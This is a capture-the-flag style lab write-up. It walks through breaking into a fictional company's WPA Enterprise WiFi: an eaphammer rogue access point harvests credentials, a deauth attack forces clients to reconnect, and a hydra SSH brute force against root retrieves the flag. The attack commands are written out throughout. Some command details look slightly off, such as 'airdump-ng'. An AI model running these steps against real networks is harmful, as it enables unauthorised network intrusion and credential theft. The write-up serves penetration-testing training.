# Pivoting over WiFi: WPA Enterprise

Your Red Team is hired by Global Marine Services to test the security of their HQ. You are given the responsibility of assessing their WiFi network. The WiFi network might lead to the machines on their private LAN. Everything else is off-limits.

Objective: Break into the WiFi network and recover the flag kept on one of their LAN systems.

Start the usual iw dev dance to put the device into monitor mode and check for the networks using airodump-ng.

```
iw dev wlan0 set monitor none

airdump-ng wlan0
```

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2FopYW8TNBgwjBs1lhF0JB%2Fimage.png?alt=media&#x26;token=8fddbfa6-bd6f-4418-a95e-47037af271ad" alt=""><figcaption></figcaption></figure>

Start Eaphammer

```
./eaphammer -i wlan0 --channel 6 --auth wpa-eap --essid GlobalMarineServices --creds
```

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2FKnwEP8rIn4H5Om6LQkT5%2Fimage.png?alt=media&#x26;token=eb2c9b5a-bb3e-4e7f-8b71-876bb9e875e5" alt=""><figcaption></figcaption></figure>

Deauth the client

```
aireplay-ng -o 100 -a D2:E9:6A:D3:B3:50 wlan0 --ignore-negative-one
```

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2FNU69wzErt5i0XLT22sxG%2Fimage.png?alt=media&#x26;token=44d827f5-04e5-4044-ac3f-e11539b7275f" alt=""><figcaption></figcaption></figure>

Check the eaphammer logs to see the client's credentials

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2Fqt3A1c2d2t46kjPuj8tw%2Fimage.png?alt=media&#x26;token=4fbc2545-2904-4455-8b0f-f3e61a318728" alt=""><figcaption></figcaption></figure>

Create a WPA supplicant file and connect to the network.

```
network={
ssid="GlobalMarineServices"
scan_ssid=1
key_mgmt=WPA-EAP
eap=TTLS
identity="daniel"
anonymous_identity="anon"
password="shipittoday"
phase2="auth=PAP"
}

// connecting using the supplicant file
wpa_supplicant -B -Dnl80211 -iwlan1 -c supplicant.conf
```

Use dhclient to get an IP address.

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2F1Fm4azBXO0G4zvAdvqCI%2Fimage.png?alt=media&#x26;token=4bc2e4e6-685e-4dce-bc84-23d886a489d4" alt=""><figcaption></figcaption></figure>

An Nmap scan of the router reveals that port 80 is open. Curl port 80 to reveal the LAN address.&#x20;

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2FPwlBLA28e7Nu61KnWZRN%2Fimage.png?alt=media&#x26;token=49b9f482-7d83-4c07-84b0-523d27515471" alt=""><figcaption></figcaption></figure>

Scanning the router LAN interface reveals that port 22 is open. Brute force using hydra to reveal password, connect and then retrieve flag.

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2FcFo1EOTxGQPMrHQC5lRx%2Fimage.png?alt=media&#x26;token=902e47d6-defb-47a4-83bc-7f72ef1f4308" alt=""><figcaption></figcaption></figure>

```
hydra -l root -P /root/wordlists/100-common-passwords.txt ssh://192.37.6.4
```

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2FfvsJ6bHn1X50gYO7Zi8j%2Fimage.png?alt=media&#x26;token=a0a64ac5-d0f7-421b-a649-c6a34b5c35b5" alt=""><figcaption></figcaption></figure>
